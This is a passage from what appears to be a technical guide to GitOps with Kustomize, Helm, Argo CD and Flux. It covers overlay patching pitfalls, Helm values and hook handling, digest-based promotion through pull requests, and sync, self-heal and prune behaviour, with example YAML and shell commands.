  • One default branch with a directory per environment makes cross-environment differences a plain diff
  • An ApplicationSet or Flux Kustomizations can discover environments from the tree
  • The CI job that writes a new tag cannot retrigger itself when it commits to a repository that has no build trigger

Cons

  • One more repository to create, protect and keep aligned with application releases
  • A single repository exposes production config to everyone who can clone it
  • Overlays can drift apart silently because nothing forces them to stay similar
  • A code change and its config change cannot land atomically in one pull request

Base and overlays, strategic merge versus JSON6902 patches, `images`, `namePrefix` and the configMapGenerator hash suffix, plus the patches that match nothing.

The problem

The same Deployment goes to staging and prod with different replicas, a different image, a name prefix and one config value. Copying the YAML per environment drifts, and templating adds a language. Kustomize overlays fit, but a patch aimed at the wrong name, an index-based JSON patch, or a ConfigMap name inside a string can fail silently or produce the wrong object, and the GitOps controller applies whatever `kustomize build` prints.

How it works

  • The base holds plain manifests plus a `kustomization.yaml`; an overlay lists `resources: [../../base]` and adds changes, and `kustomize build overlays/staging` prints the result. Argo CD and the Flux kustomize-controller run the same build on the path they are given. Observed on kustomize 5.8.3: the output is ordered ConfigMap, Service, Deployment, not the file order.
  • `patches:` accepts two styles. A strategic merge patch (`path: replicas.yaml` containing a partial Deployment) merges maps and merges the `containers` list by `name`. A JSON6902 patch (`target` plus `op`, `path`, `value`) addresses a location and list indexes. Observed: the first took `replicas` from 1 to 2, the second `requests.cpu` from `100m` to `250m` (`/spec/template/spec/containers/0/resources/requests/cpu`).
  • A JSON6902 `replace` on a path that does not exist fails: `Error: replace operation does not apply: doc is missing path: /spec/template/spec/containers/0/resources/limits/cpu: missing value`. A strategic merge patch whose `metadata.name` matches nothing also fails: `Error: no resource matches strategic merge patch "Deployment.v1.apps/demo-ap.[noNs]"`. Both stop the build, which is what a controller needs.
  • Two failures are silent. A JSON6902 patch whose `target` selects nothing (`name: wrong-name`) exits with code 0 and changes nothing. A strategic merge patch with a container `name` that does not exist (`application` instead of `app`) does not fail: it adds a second container, `application` next to `app`. Compare `kustomize build` output to the intent, and let kubeconform and review catch the rest.
  • `images:` rewrites image references by name: `newTag: 1.1.0` renders `ghcr.io/example/demo-app:1.1.0`, and `digest: sha256:...` renders `ghcr.io/example/demo-app@sha256:...`. `kustomize edit set image` edits the file in its own style: observed, it dropped the list-item indentation and added `newName`, so a one-line promotion became a multi-line `git diff` (4 insertions and 3 deletions for an overlay with one resource and one image). Run the same tool everywhere, or the diff stays noisy.
  • `namespace: staging` is set on every resource, and `namePrefix: stg-` renamed the Deployment, Service and ConfigMap (`stg-demo-app`), and rewrote the `configMapRef`. It did not touch the Service `selector` or the pod labels (`app: demo-app`), so pods still match. Names in other kinds of fields are not rewritten unless kustomize knows the reference path.
  • `configMapGenerator` appends a hash of the content. The base alone rendered `demo-app-config-hf678c7m2b`. The overlay with `behavior: merge` and `LOG_LEVEL=debug` rendered `stg-demo-app-config-47668c6k28`, and `envFrom.configMapRef.name` was rewritten to match. Changing the literal to `trace` gave `stg-demo-app-config-mb457d26b5` (these hashes are specific to this content on kustomize 5.8.3), so the pod template changes and the Deployment rolls.
  • Reference rewriting works only at known fields. A string like `--config-name=demo-app-config` in `args` stayed unchanged. `generatorOptions: disableNameSuffixHash: true` set in an overlay did not remove the hash of the generator defined in the base (observed): set it where the generator lives. Without the hash, a ConfigMap edit does not restart pods. Per the Argo CD docs, `helmCharts` inside a kustomization needs `kustomize.buildOptions: --enable-helm`; locally it fails with `must specify --enable-helm`.

Examples

A staging overlay (kustomize 5.8.3, kubeconform clean on the output): namespace, namePrefix, an image tag, a strategic merge patch, a JSON6902 patch and a merged generator.

yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
namespace: staging
namePrefix: stg-
resources:
  - ../../base
images:
  - name: ghcr.io/example/demo-app
    newTag: 1.1.0
patches:
  - path: replicas.yaml
  - target:
      kind: Deployment
      name: demo-app
    patch: |-
      - op: replace
        path: /spec/template/spec/containers/0/resources/requests/cpu
        value: 250m
configMapGenerator:
  - name: demo-app-config
    behavior: merge
    literals:
      - LOG_LEVEL=debug

Four patch failures; only the first and third stop the build, the second exits 0 and the fourth adds a container (outputs observed on kustomize 5.8.3).

bash
# From the repo root: base/ holds deployment.yaml (container "app", image
# ghcr.io/example/demo-app:1.0.0) and a configMapGenerator named demo-app-config.
mkdir -p overlays/try && cd overlays/try

# 1. JSON6902 'replace' on a path that does not exist: build fails
cat > kustomization.yaml <<'EOF'
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
  - ../../base
patches:
  - target:
      kind: Deployment
      name: demo-app
    patch: |-
      - op: replace
        path: /spec/template/spec/containers/0/resources/limits/cpu
        value: 500m
EOF
kustomize build .
# Error: replace operation does not apply: doc is missing path:
#   /spec/template/spec/containers/0/resources/limits/cpu: missing value

# 2. The same patch with a target that matches nothing: exit 0, nothing changes
sed -i 's/name: demo-app$/name: wrong-name/' kustomization.yaml
kustomize build . > /dev/null; echo "exit=$?"    # exit=0

# 3. A strategic merge patch whose name matches nothing fails loudly
cat > kustomization.yaml <<'EOF'
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
  - ../../base
patches:
  - path: p.yaml
EOF
cat > p.yaml <<'EOF'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: demo-ap
spec:
  replicas: 3
EOF
kustomize build . > /dev/null
# Error: no resource matches strategic merge patch "Deployment.v1.apps/demo-ap.[noNs]"

# 4. Wrong container name in a strategic merge patch: a SECOND container appears
cat > p.yaml <<'EOF'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: demo-app
spec:
  template:
    spec:
      containers:
        - name: application
          image: ghcr.io/example/demo-app:9.9.9
EOF
kustomize build . | grep -c 'name: app'     # containers now: application, app

The hash suffix follows the content and every known reference; a name in a string is left alone, and `edit` reformats the file.

bash
# The hash is computed from the generated object, and every reference is rewritten
kustomize build overlays/staging | grep 'demo-app-config'
#   name: stg-demo-app-config-47668c6k28            (ConfigMap)
#       name: stg-demo-app-config-47668c6k28        (envFrom.configMapRef)

# Change one literal: new name, so the Deployment template changes and pods roll
sed -i 's/LOG_LEVEL=debug/LOG_LEVEL=trace/' overlays/staging/kustomization.yaml
kustomize build overlays/staging | grep 'demo-app-config'
#   name: stg-demo-app-config-mb457d26b5

# A name inside a string is only text: kustomize does not rewrite it
#   args: ["--config-name=demo-app-config"]   stays demo-app-config

# images: supports newTag and digest; the digest form renders as name@sha256:...
(cd overlays/staging && kustomize edit set image ghcr.io/example/demo-app=ghcr.io/example/demo-app:1.2.0)
# edit rewrites kustomization.yaml in its own style (list items lose their
# indentation), so a one-line promotion can show up as a many-line git diff

In practice

  • Kustomize — The kubernetes-sigs tool behind `kubectl kustomize` and `kubectl apply -k`; the standalone binary used here is 5.8.3.
  • Argo CD — Detects a `kustomization.yaml` at `spec.source.path`, runs `kustomize build`, and also accepts inline `images`, `namePrefix` and `patches` in `spec.source.kustomize`.
  • Flux — The kustomize-controller builds the path from a GitRepository; its `Kustomization` also has `patches`, `images`, `namePrefix` and `nameSuffix` fields.
  • kubeconform — Validates `kustomize build` output; the staging overlay here rendered 3 resources, all valid.
  • kubectl — Embeds kustomize, so `kubectl apply -k` works without the standalone binary, with whatever kustomize version that kubectl release bundles.

Trade-offs

Pros

  • No templating language: the base stays valid Kubernetes YAML
  • The name hash makes a config change roll the pods that use it
  • The output is deterministic and reviewable with `kustomize build` and a diff
  • Built into kubectl and supported by both controllers

Cons

  • A JSON6902 `target` that matches nothing is silent
  • Index-based JSON6902 paths break when a list is reordered or a sidecar is added first
  • Reference rewriting covers known fields only; names in args or custom resources need extra configuration
  • `kustomize edit` rewrites formatting, so diffs get noisy
  • Deep overlay chains are hard to read without rendering them

Render-and-commit versus controller-rendered charts, values layering, `helm.sh/hook` annotations and what Argo CD and Flux each do with them, and how to lint and validate the output.

The problem

A chart, third-party or your own, has to be deployed from Git. The first question is who renders it: you at commit time, or the controller. The second is what happens to the things Helm normally does itself: release history, `helm.sh/hook` Jobs and values layering across environments. Argo CD only calls `helm template`, Flux runs real Helm releases, so the same pre-upgrade migration Job behaves differently under each.

How it works

  • There are two usages. Render and commit: run `helm template` in CI and commit the YAML, so the controller applies plain manifests and the pull request shows the real diff, including a chart upgrade. Controller-rendered: Git holds a chart reference plus values (an Argo CD Application with `source.chart` or `path` and `helm.valueFiles`, or a Flux `HelmRelease`), and the controller renders. The first favours reviewability, the second favours small diffs.
  • Argo CD uses Helm only as a template engine. Per its docs: "Helm is only used to inflate charts with `helm template`. The lifecycle of the application is handled by Argo CD instead of Helm." Per its FAQ, `helm ls` therefore shows nothing for such an application. Flux's HelmRelease, per its docs, drives "Helm actions such as install, upgrade, test, uninstall, and rollback", keeps a Helm release, and has optional `driftDetection` with `mode: warn` or `enabled`.
  • Values layering, observed on Helm 3.22: later `-f` files win; maps merge (`resources.requests` kept `cpu: 100m` from the chart and gained `memory: 256Mi`); lists are replaced whole (`hosts` became only `staging.example.com`); `--set` beats every file (`replicaCount=9` over the file's 4). An unquoted `tag: 1.10` in a values file rendered as `1.1`, so quote tags.
  • Precedence differs per controller. Argo CD, per its docs: `parameters > valuesObject > values > valueFiles > helm repository values.yaml`; a multi-source Application can read `valueFiles` from a second repository through `ref: values` and `$values/...`, and globbed `valueFiles` entries expand in lexical order (documented from Argo CD 3.4, as of 2026-10). Flux, per its docs: `valuesFrom` entries merge in order with later ones overwriting earlier ones, inline `values` overwrite those, and a `targetPath` entry overwrites everything before it.
  • Hooks in a plain render: `helm template` prints the hook Job as an ordinary manifest and keeps its annotations (`"helm.sh/hook": pre-install,pre-upgrade`, `"helm.sh/hook-weight": "-5"`, `"helm.sh/hook-delete-policy": before-hook-creation,hook-succeeded`), and `--no-hooks` removed it (0 Jobs). Applied with `kubectl apply`, that Job would be an ordinary Job, created without ordering. Whoever applies the render has to give the annotations a meaning.
  • Argo CD gives them one by mapping, per its docs (not run here): `pre-install` and `pre-upgrade` become `PreSync`, `post-install` and `post-upgrade` become `PostSync`, `pre-delete` and `post-delete` map to the same-named hooks, and `hook-weight` becomes the sync wave. `pre-rollback`, `post-rollback` and the test hooks are not supported and are ignored. Every operation is a sync, so pre-install and pre-upgrade hooks run together, and defining any Argo CD hook makes it ignore all Helm hooks.
  • Flux hands hooks back to Helm, per its docs (not run here): helm-controller performs the install or upgrade, so Helm runs the hooks. `install.disableHooks` and `upgrade.disableHooks` default to `false`, `test.enable` runs the chart's test hooks, and `install.remediation` / `upgrade.remediation` with `retries` decide what happens after a failed release. Anything hook-heavy should be tried under the controller you will use.
  • Check the output, not only the chart. Observed on Helm 3.22: `helm lint` reports `[ERROR] templates/: parse error at (demo-chart/templates/c.yaml:4): unexpected "}" in operand` and exits 1, but a missing `required "name is required"` value is only an `[INFO]` line and lint exits 0, while `helm template` fails with `Error: execution error at (demo-chart/templates/c.yaml:4:11): name is required`. Run `helm template -f values-<env>.yaml | kubeconform -strict` per environment; the prod render of the demo chart was 3 valid resources. In a kustomization, `helmCharts` needs `--enable-helm` and its `namespace` only sets `.Release.Namespace`, not `metadata.namespace` (observed).

Examples

Values layering and hook rendering on a demo chart (Helm 3.22): later files win, lists are replaced, --set beats files, hooks render as plain manifests.

bash
# demo-chart: values.yaml has replicaCount: 1, image.tag "1.0.0",
# env {LOG_LEVEL: info, REGION: eu} and hosts [a.example.com, b.example.com]
helm lint demo-chart                    # 1 chart(s) linted, 0 chart(s) failed

helm template rel demo-chart -f demo-chart/values-staging.yaml -f demo-chart/values-prod.yaml
# later -f files win:      replicas: 4 (prod), tag 1.1.0 (prod), LOG_LEVEL debug (staging)
# maps are merged:         resources.requests has cpu 100m (chart) and memory 256Mi (prod)
# lists are replaced:      hosts: "staging.example.com" (a.example.com and b.example.com are gone)

helm template rel demo-chart -f demo-chart/values-prod.yaml --set replicaCount=9 | grep replicas:
#   replicas: 9           --set beats every -f file

printf 'image:\n  tag: 1.10\n' > /tmp/tag.yaml
helm template rel demo-chart -f /tmp/tag.yaml | grep 'image:' | head -1
#   image: "ghcr.io/example/demo-app:1.1"    unquoted YAML number: 1.10 became 1.1

helm template rel demo-chart | grep -A3 'annotations:'
#   "helm.sh/hook": pre-install,pre-upgrade   hooks are rendered as ordinary manifests
helm template rel demo-chart --no-hooks | grep -c 'kind: Job'     # 0

Argo CD, controller-rendered: the chart comes from one repository and values.yaml from another through ref: values (kubeconform with the CRDs catalog: valid).

yaml
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: demo-app-staging
  namespace: argocd
spec:
  project: default
  sources:
    - repoURL: https://github.com/example/demo-charts.git
      targetRevision: v0.1.0
      path: demo-chart
      helm:
        releaseName: demo-app
        valueFiles:
          - $values/envs/staging/values.yaml
    - repoURL: https://github.com/example/demo-config.git
      targetRevision: main
      ref: values
  destination:
    server: https://kubernetes.default.svc
    namespace: staging

Flux HelmRelease with inline values and a ConfigMap values layer; Helm itself runs the install and the hooks (kubeconform with the CRDs catalog: valid; runtime per the docs).

yaml
apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
metadata:
  name: demo-app
  namespace: staging
spec:
  interval: 10m
  chart:
    spec:
      chart: demo-chart
      version: 0.1.x
      sourceRef:
        kind: HelmRepository
        name: demo-charts
  install:
    disableHooks: false
  values:
    replicaCount: 2
  valuesFrom:
    - kind: ConfigMap
      name: staging-values
      valuesKey: values-staging.yaml

In practice

  • Argo CD — Renders charts with `helm template`, maps `helm.sh/hook` annotations onto PreSync, PostSync and sync waves, and tracks resources itself instead of a Helm release.
  • Flux helm-controller — Reconciles `HelmRelease` objects by running Helm install, upgrade, test and rollback, with `valuesFrom` layering and optional drift detection.
  • Helm — Provides `helm template`, `helm lint` and the `-f` / `--set` layering rules shown here.
  • Kustomize — Its `helmCharts` generator inflates a chart inside a kustomization when built with `--enable-helm`, and leaves the hook annotations on the output.
  • kubeconform — Validates rendered chart output per environment before the controller sees it.

Trade-offs

Pros

  • A vendor chart is pinned by version in Git and upgraded through a pull request
  • Per-environment values files give small, reviewable diffs
  • Flux keeps a real Helm release with history and remediation
  • Argo CD shows each rendered resource with its own health and diff

Cons

  • Argo CD ignores rollback and test hooks and cannot tell install from upgrade, so hook-heavy charts behave differently between controllers
  • Without committing the render, reviewers see values changes but not the manifests they produce
  • Lists are replaced whole and unquoted numbers are rewritten, so layered values surprise
  • `helm lint` can pass while `helm template` fails

Promote by changing an image tag or digest in the next environment's overlay through a reviewed commit, review the rendered diff, and undo it with git revert.

The problem

Staging has run 1.1.0 for two days and is green, and production should get exactly that build. Teams do it by re-running a pipeline with a version parameter, by editing the image in the cluster, or by merging a long-lived branch, and a week later nobody can say which tag production is supposed to run, or who approved it. In GitOps the promotion is a commit, and everything else follows from that.

How it works

  • A promotion is a commit to the next environment's overlay that changes the artifact reference. Observed in a scratch repository: moving prod from `newTag: 1.0.0` to `newTag: 1.1.0` was a one-line `git diff` on `overlays/prod/kustomization.yaml`, committed on a branch and merged with `--no-ff`; the controller then only has to apply what `main` says.
  • Promote the digest rather than the tag. A tag can be re-pushed, a digest cannot be changed. `images: digest: sha256:...` renders `ghcr.io/example/demo-app@sha256:...` (observed), and `kustomize edit set image name=name@sha256:...` writes it; build-once-promote explains why staging and prod must point at the same bytes.
  • Review the rendered change as well as the file change. Rendering the overlay at two revisions with `git worktree` and `diff` showed a single changed line (`42c42`, the `image:` line) even though `kustomize edit` had rewritten the formatting of the overlay file (a multi-line file diff: 4 insertions and 3 deletions for a minimal overlay). Put that rendered diff into the pull request as a comment or check.
  • Automate the pull request, not the approval. A `workflow_dispatch` workflow takes the digest, runs `kustomize edit set image`, renders and validates, pushes a branch and calls `gh pr create` (actionlint 1.7.12 clean). Approval is then a review: CODEOWNERS on `overlays/prod/` plus the branch protection option "Require review from Code Owners" (GitHub docs) make the owners' approval a merge requirement.
  • Image automation can open the commit for you. Per the Flux repository-structure guide, new releases can be delivered to staging automatically with image updates to Git, while for production "you may choose to manually approve app version bumps by configuring Flux to push the changes to a new branch from which you can create a pull request". Argo CD Image Updater and Kargo (which "manage[s] and automate[s] the promotion of software artifacts through the many stages of their lifecycle", per its README) fill the same role. Not run here.
  • Gate on what staging actually reached. Neither controller orders one environment's Application after another's on its own, so the gate is a pipeline step or a pull request check that waits for the staging Application to report Healthy (or the Flux Kustomization to be Ready) before opening the production pull request. Promote what ran in staging, not what was built last.
  • Rollback of a promotion is `git revert` of the promotion commit (see GitOps Principles: a merge commit needs `-m 1`, or fails with `is a merge but no -m option was given`). Reverting the prod overlay does not touch staging, and with automated sync the controller applies the revert; with manual sync the Application stays OutOfSync until someone syncs.
  • Drift decides what the promotion overwrites. Per the Argo CD docs, `selfHeal` is off by default ("changes that are made to the live cluster will not trigger automated sync"), and when on, the sync is retried after a self-heal delay (exponential backoff from 2 s up to 300 s on current controllers, see Drift, Self-Heal and Prune); without it a hand-edited prod Deployment stays modified until the next sync applies the declared fields. A directory per environment keeps promotion a file change; a long-lived branch per environment can turn it into a merge with conflicts.

Examples

A manually dispatched workflow that opens the production promotion pull request for a digest already running in staging (actionlint 1.7.12 clean; assumes kustomize and kubeconform on the runner).

yaml
name: promote-to-prod
on:
  workflow_dispatch:
    inputs:
      digest:
        description: "Digest already running in staging (sha256:...)"
        required: true
        type: string
permissions:
  contents: read
jobs:
  open-promotion-pr:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@v7
        with:
          token: ${{ secrets.CONFIG_REPO_TOKEN }}
      - name: Point prod at the digest
        working-directory: overlays/prod
        env:
          DIGEST: ${{ inputs.digest }}
        run: |
          kustomize edit set image "ghcr.io/example/demo-app=ghcr.io/example/demo-app@${DIGEST}"
      - name: Render and validate before opening the PR
        run: kustomize build overlays/prod | kubeconform -strict -summary -
      - name: Open the pull request
        env:
          GH_TOKEN: ${{ secrets.CONFIG_REPO_TOKEN }}
          DIGEST: ${{ inputs.digest }}
        run: |
          branch="promote/${DIGEST#sha256:}"
          git config user.name "promotion-bot"
          git config user.email "promotion-bot@users.noreply.github.com"
          git switch -c "$branch"
          git commit -am "promote demo-app ${DIGEST} to prod"
          git push origin "$branch"
          gh pr create --fill --base main --head "$branch"

Promote by digest, then compare what the cluster would receive by rendering the overlay at two revisions (kustomize 5.8.3, git worktree).

bash
# Promote by digest: staging and prod now point at the same bytes
cd overlays/prod
kustomize edit set image \
  ghcr.io/example/demo-app=ghcr.io/example/demo-app@sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
kustomize build . | grep 'image:'
#   image: ghcr.io/example/demo-app@sha256:0123456789abcdef...

# Review what actually changes in the cluster, not only what changed in the file
cd ../..
git worktree add -q ../prev HEAD
diff <(kustomize build ../prev/overlays/prod) <(kustomize build overlays/prod)
#   42c42
#   <         image: ghcr.io/example/demo-app:1.0.0
#   ---
#   >         image: ghcr.io/example/demo-app@sha256:0123456789abcdef...
git worktree remove ../prev

In practice

  • Argo CD — Applies the merged promotion commit through automated sync; `selfHeal` is off by default.
  • Flux — Image update automation can commit new tags to Git directly for staging or to a branch for a pull request, per the repository-structure guide.
  • Argo CD Image Updater — Updates images of Applications built with Kustomize or Helm by setting parameter overrides, either through the Argo CD API or by committing to a Git repository (per its README).
  • Kargo — From Akuity: builds on GitOps principles to manage and automate the promotion of software artifacts through stages (per its README).
  • GitHub CODEOWNERS — Makes the owners of `overlays/prod/` required reviewers once branch protection asks for Code Owner review.

Trade-offs

Pros

  • The promotion, its approver and its timestamp are in Git history
  • Promoting a digest guarantees staging and prod run the same bytes
  • The rendered diff shows what the cluster receives, whatever the overlay file looks like
  • Undoing a promotion is one `git revert`

Cons

  • Every promotion is a pull request, which is slow for urgent fixes unless a fast path is defined
  • Manual approval can pile up; automation needs a health gate that the controllers do not provide across environments
  • Digests are unreadable in a diff, so the tag should remain in a label or the commit message
  • Hand edits made in prod survive until a sync or selfHeal overwrites them

Argo CD & Flux

What an Application and its project declare, how refresh differs from sync, when a commit is picked up, and what syncPolicy and syncOptions change.

The problem

A pull request merges and the Argo CD UI still shows Synced; three minutes later it flips to OutOfSync and nothing is deployed, because the Application has no `automated` policy. Someone presses Refresh expecting a deploy and nothing changes, someone else presses Sync on an app with a PreSync migration and the Job runs a second time. What the `Application` points at, which project allows it, and the difference between a refresh and a sync decide every one of these surprises.

How it works

  • An `Application` is a custom resource in the Argo CD namespace. `spec.source` (`repoURL`, `targetRevision`, `path`, or `chart` for a Helm repository) says what to render, `spec.destination` (`server` or `name`, plus `namespace`) says where, and `spec.project` says whether that is allowed. Per the projects doc an application without a project belongs to `default`, which permits any source repository, any cluster and all resource kinds, so dedicated `AppProject` objects with explicit `sourceRepos`, `destinations` and resource allow-lists are the recommended boundary.
  • The core concepts doc separates three verbs. Refresh: "Compare the latest code in Git with the live state." Sync: move the application to its target state. Health: whether it is running correctly. A refresh never changes the cluster; it only recomputes the Sync status (`Synced`, `OutOfSync` or `Unknown`). `argocd app get demo-app --refresh` does a normal refresh, `--hard-refresh` also drops the target manifests cache, and the annotation `argocd.argoproj.io/refresh` takes `normal` or `hard`.
  • A refresh has three triggers. Polling: per the FAQ (as of 2026-10) the default is 120 s plus up to 60 s of jitter, so at most about 3 minutes (`timeout.reconciliation` and `timeout.reconciliation.jitter` in `argocd-cm`; `0` disables polling and leaves webhooks and manual refreshes). Webhook: the API server endpoint `/api/webhook` accepts GitHub, GitLab, Bitbucket, Bitbucket Server, Azure DevOps and Gogs events and sets the refresh annotation on matching Applications. Resource events: by default an Application is also refreshed whenever a resource that belongs to it changes (reconcile optimization doc).
  • Without `syncPolicy.automated` a new commit only turns the Application OutOfSync (FAQ) and a person or a pipeline has to call sync. `argocd app sync demo-app --dry-run` previews, `--preview-changes` shows the diff and waits for confirmation, `--prune` lets this one sync delete, and `--resource GROUP:KIND:NAME` syncs a subset. Hooks do not run during a selective sync (sync waves doc).
  • Automated sync has exact semantics (auto sync doc). It runs only while the Application is OutOfSync, makes one attempt per unique combination of commit SHA and parameters, and does not reattempt when the previous attempt against the same commit and parameters failed. `prune`, `selfHeal` and `allowEmpty` all default to false; `automated.enabled: false` switches automation off while the other fields stay written down. For an Application generated by an ApplicationSet, editing `automated` on the child has no effect.
  • Retries are a separate field: `syncPolicy.retry` with `limit` (`-1` for unlimited) and `backoff.duration`, `factor` and `maxDuration`. The example Application manifest in the docs comments that automated sync by default retries failed attempts 5 times with delays of 5s, 10s, 20s, 40s and 80s, and the controller source (master, as of 2026-10) agrees: an automated operation gets `Limit: 5` unless `syncPolicy.retry` is set, with backoff defaults of 5 s, factor 2 and a 3 m cap. These retries repeat the failed operation, while the one-attempt-per-commit rule above stops a new automated operation for the same commit. `retry.refresh: true` (`--sync-retry-refresh`) lets a retry pick up a newer revision. Treat the retry defaults as version-dependent and read them from the Argo CD version in use.
  • `syncPolicy.syncOptions` changes how objects are applied, and most can be set per object with the `argocd.argoproj.io/sync-options` annotation (comma separated). `CreateNamespace=true` is needed when the destination namespace does not exist, otherwise the sync fails. `ServerSideApply=true` runs `kubectl apply --server-side --force-conflicts` and avoids the 262144-byte limit of the `last-applied-configuration` annotation. `Replace=true` uses `kubectl replace` or `create`, can recreate objects, and takes precedence over server-side apply. `ApplyOutOfSyncOnly=true` applies only out-of-sync objects, and `FailOnSharedResource=true` fails when another Application already applied the object.
  • Deleting an Application leaves its resources in place unless it carries the finalizer `resources-finalizer.argocd.argoproj.io` (foreground cascade; the `/background` suffix selects background deletion), and `argocd app delete --cascade` adds it. Rollback has its own rule: the docs state that a rollback cannot be performed against an application with automated sync enabled, so with automation on the usual undo is a new commit in Git.

Examples

An Application with automated sync written out with its defaults (prune and selfHeal off), two sync options, a cascade-delete finalizer and a bounded retry (kubeconform with the CRDs catalog: valid; runtime behaviour per the docs, not run here).

yaml
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: demo-app
  namespace: argocd
  finalizers:
    - resources-finalizer.argocd.argoproj.io
spec:
  project: demo-project
  source:
    repoURL: https://github.com/example/demo-config.git
    targetRevision: main
    path: overlays/staging
  destination:
    name: in-cluster
    namespace: demo-app
  syncPolicy:
    automated:
      prune: false
      selfHeal: false
    syncOptions:
      - CreateNamespace=true
      - ServerSideApply=true
    retry:
      limit: 5
      backoff:
        duration: 5s
        factor: 2
        maxDuration: 3m

The project that Application may use: one repository, one namespace on one cluster, and Namespace as the only cluster-scoped kind it may create (kubeconform with the CRDs catalog: valid).

yaml
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
  name: demo-project
  namespace: argocd
spec:
  description: Staging workloads of the demo team
  sourceRepos:
    - https://github.com/example/demo-config.git
  destinations:
    - name: in-cluster
      namespace: demo-app
  clusterResourceWhitelist:
    - group: ""
      kind: Namespace

Refresh versus sync from the CLI: the first three commands only recompute status; only the last one changes the cluster (flags per the argocd CLI reference; not run here).

bash
# normal refresh: recompute the Sync status from Git, the cluster is untouched
argocd app get demo-app --refresh
# hard refresh: also drop the cached target manifests
argocd app get demo-app --hard-refresh
# the same request as an annotation; the controller removes it when done
kubectl -n argocd annotate application demo-app argocd.argoproj.io/refresh=hard --overwrite
# preview, then sync one resource only (hooks do not run in a selective sync)
argocd app diff demo-app
argocd app sync demo-app --dry-run
argocd app sync demo-app --resource apps:Deployment:demo-app

In practice

  • Argo CD — The Application and AppProject custom resources, the application controller that compares and syncs, and the repo-server that renders manifests.
  • argocd CLI — `argocd app get --refresh`, `app diff`, `app sync --dry-run --preview-changes` and `--resource` select what changes and when.
  • ApplicationSet — Generates Application objects from a template and generators, so a change to `syncPolicy` belongs in the template and not in the generated child.
  • GitHub — A push webhook to `/api/webhook` turns the up-to-3-minute poll into a refresh within seconds of the push.
  • Flux — The contrast: a Kustomization reconciles on `spec.interval` and applies whatever differs, so there is no separate OutOfSync-until-someone-syncs state.

Trade-offs

Pros

  • Refresh and sync are separate, so the diff can be reviewed before anything changes the cluster
  • AppProject limits repositories, destinations and kinds per team without separate Argo CD instances
  • Sync options handle the awkward cases (huge objects, missing namespace, shared objects) per Application or per object
  • Manual sync keeps a human gate where automation is not yet trusted

Cons

  • With manual sync the cluster silently lags Git, and OutOfSync is easy to leave unattended
  • Polling adds up to about 3 minutes of delay unless webhooks are configured and reachable
  • Options such as `Replace=true` and `Force=true` can recreate objects and cause an outage
  • Automated sync, retry and rollback rules interact and are easy to misread

Why an Application is OutOfSync, what selfHeal and prune do and default to, and how ignoreDifferences coexists with an HPA or webhook that edits live objects.

The problem

A HorizontalPodAutoscaler raises `demo-web` to 6 replicas while Git says `replicas: 2`. With `selfHeal: true` Argo CD resets it to 2 within seconds at first, the HPA raises it again, and the Application flaps between OutOfSync and Synced under load. Elsewhere a Service deleted from Git keeps running because automated sync does not prune, while a teammate who turned `prune` on watches a PersistentVolumeClaim disappear with the file that declared it. Drift, self-heal and prune decide who wins when Git and the cluster disagree.

How it works

  • OutOfSync can appear right after a successful sync. The diffing doc lists the causes: manifests with fields Kubernetes drops, a sync with pruning disabled that left objects to delete, a controller or mutating webhook that changes the object after submission, Helm functions such as `randAlphaNum` that render different data every time, and the HPA controller reordering `spec.metrics`. The FAQ adds normalization: `1000m` becomes `1`, `0.1` becomes `100m`, `3072Mi` becomes `3Gi`.
  • Self-heal is off by default. Per the auto sync doc: "By default, changes that are made to the live cluster will not trigger automated sync." With `selfHeal: true` the sync is attempted again after a self-heal delay. The auto sync doc still says "5 seconds by default" for `--self-heal-timeout-seconds`, but the controller source disagrees: through v2.12 that flag defaulted to 5 and the retry was flat, while from v2.13 on (checked to master, 2026-10) it defaults to 0 and an exponential backoff applies instead (`--self-heal-backoff-timeout-seconds` 2, `--self-heal-backoff-factor` 3, `--self-heal-backoff-cap-seconds` 300, so about 2 s, 6 s, 18 s and so on up to 300 s on `argocd-application-controller`; a non-zero timeout is used only when the backoff start is set to 0). It is also the exception to the one-attempt-per-commit rule. The doc warns that with multi-source applications a change in another source can still trigger autosync even when self-heal is off.
  • Prune is off by default for the same reason. The auto sync doc: automated sync does not delete resources that are no longer defined in Git, as a safety mechanism, while a manual sync with pruning checked always can. `prune: true` turns it on, and `allowEmpty: false` (the default) blocks a prune that would leave the application with no resources at all. During pruning the wave order is reversed, higher waves first, and `PruneLast=true` makes pruning a final implicit wave after everything else is healthy.
  • Per-object guard rails use the `argocd.argoproj.io/sync-options` annotation. `Prune=false` keeps an object, and the Application then stays OutOfSync because Argo CD still expects the prune. `Prune=confirm` leaves the sync in Syncing until someone confirms in the UI or CLI, or sets `argocd.argoproj.io/deletion-approved: <ISO timestamp>` on the Application. `Delete=false` keeps the object when the whole Application is deleted, the usual choice for PVCs, and `Delete=confirm` asks first. A resource-level setting overrides the Application-level `syncOptions`. The confirm variants are documented from v2.14 (the v2.13 sync options page does not have them), so check the Argo CD version in use.
  • `argocd.argoproj.io/compare-options: IgnoreExtraneous` removes an object from the Application sync status, the documented use being objects generated by tools, such as a kustomize `configMapGenerator` configured through `generatorOptions`. It affects only the sync status: a Degraded health still degrades the Application.
  • `spec.ignoreDifferences` items select by `group` and `kind`, optionally by exact `name` and `namespace` (not glob patterns), and then use `jsonPointers` (a `/` inside a key is written `~1`), `jqPathExpressions` (for example `.spec.template.spec.initContainers[] | select(.name == "injected-init-container")`) or `managedFieldsManagers` (ignore every field owned by a manager such as `kube-controller-manager` in the live `managedFields`). JQ evaluation is limited to one second unless `ignore.normalizer.jq.timeout` is raised.
  • The trap: by default `ignoreDifferences` only affects the diff, not the apply. Per the sync options doc the desired state is applied as is, with a patch from a 3-way merge of live state, desired state and `last-applied-configuration`, so ignoring `/spec/replicas` can still see the next sync overwrite it. `RespectIgnoreDifferences=true` pre-patches the desired state with the ignored fields before applying, and it is effective only when the object already exists. The annotation `argocd.argoproj.io/ignore-differences` carries JSON pointers on the object itself and is merged with the Application rules.
